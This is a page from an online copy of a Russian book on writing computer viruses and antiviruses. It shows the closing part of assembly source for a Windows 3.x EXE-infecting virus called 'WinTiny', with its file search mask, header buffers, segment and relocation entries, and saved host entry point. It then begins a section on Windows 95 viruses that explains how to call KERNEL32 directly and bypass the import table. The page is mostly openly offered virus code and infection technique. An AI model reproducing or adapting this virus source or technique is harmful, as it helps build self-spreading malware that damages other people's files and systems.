Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 21

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

style="font-size:15px;">      ;Освободим выделенный блок памяти

      call free

      ;Запустим программу−носитель

      jmp exit

      ;Процедура, освобождающая выделенный блок памяти

      free PROC NEAR

      mov ax,0502h

      mov si,[mem_hnd]

      mov di,[mem_hnd+2]

      int 31h

      ret

      free ENDP

      ;Маска для поиска файлов

      wild_exe DB ”*.EXE”,0

      ;Имя вируса

      DB ”WinTiny”

      ;Идентификатор, указывающий на конец инициализированных данных

      vir_end:

      ;Индекс выделенного блока памяти

      mem_hnd DW ?

      DW ?

      ;Адрес текущей DTA

      DTA DW ?

      DW ?

      ;Место для хранения старого заголовка

      old_hdr DB 40h dup (?)

      ;Место для хранения нового заголовка

      new_hdr DB 40h dup (?)

      ;Длина логического номера сектора

      log_sec_len DW ?

      ;Новый элемент в таблице сегментов

      my_seg_entry DW ?

      DW ?

      DW ?

      DW ?

      ;Перемещаемый элемент

      reloc_data DW ?

      DB ?

      DB ?

      DW ?

      ;Значение оригинальной точки входа

      host_cs DW ?

      host_ip DW ?

      ;Область памяти для использования

      temp DB ?

      END

      Вирусы под Windows 95

      Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.

      Вызов Windows 95 API

      Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.

      Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.

      Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.

      Вызов API приложениями выглядит приблизительно так:

      call API_FUNCTION_NAME

      например:

      call CreateFileA

      После компиляции этот вызов выглядит так:

      db 9Ah ;инструкция call

      dd ???? ;смещение в таблице переходов

      Код в таблице переходов похож на такой:

      jmp far [offset into import table]

      Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

      push function value

      call

Скачать книгу